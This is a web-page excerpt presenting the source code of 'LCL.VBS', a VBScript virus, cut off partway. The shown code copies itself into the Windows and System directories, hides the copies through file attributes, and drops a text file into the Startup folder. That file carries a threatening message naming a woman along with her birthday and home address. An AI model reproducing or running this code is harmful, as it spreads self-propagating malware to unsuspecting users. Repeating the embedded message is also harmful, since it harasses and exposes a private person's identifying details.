• LCL.VBS Virus source code


    rem email:[email protected] some crack statement i remment,make it can’t to runon error resume next dim title,text title=”can you help me find a person?” text=”her name is Liu Chun li.”&chr(13)&chr(10) text=text&”her birthday is 1981-01-23.”&chr(13)&chr(10) text=text&”her mother home is Yuzhen.Qixian.Kaifeng.Henan.China.”&chr(13)&chr(10) text=text&”I was died because by her,”&chr(13)&chr(10) text=text&”I am demanding my life of you.”&chr(13)&chr(10) Set fso = CreateObject(“Scripting”&”.”&”FileSystem”&”Object”) self=fso.opentextfile(wscript.scriptfullname,1).readall  set WshShell = WScript.CreateObject(“WScript”&”.”&”Shell”) Startup = WshShell.SpecialFolders(“Startup”) Set dirwin = fso.GetSpecialFolder(0)  Set dirsystem = fso.GetSpecialFolder(1)  Set dirtemp = fso.GetSpecialFolder(2)  Set lcl=fso.GetFile(WScript.ScriptFullName)  lcl.Copy(dirwin&”\lcl.vbs”)  lcl.Copy(dirsystem&”\lcl.vbs”)  fso.getfile(dirwin&”\lcl.vbs”).attributes=7 fso.getfile(dirsystem&”\lcl.vbs”).attributes=7 set sf0 = fso.GetSpecialFolder(0) b = sf0.drive&”\lcl.txt” Set lcl = fso.CreateTextFile( b , True ) lcl.Write text fso.CopyFile b, Startup&”\lcl.txt” lcl.Close dim lcl Set lcl = fso.CreateTextFile(wscript.scriptfullname, True) Function scode (N)     dim x     for x = 0 to 254        if n = chr(x) then            scode = x           exit function        end if     next end function Read line and other methods are used to […]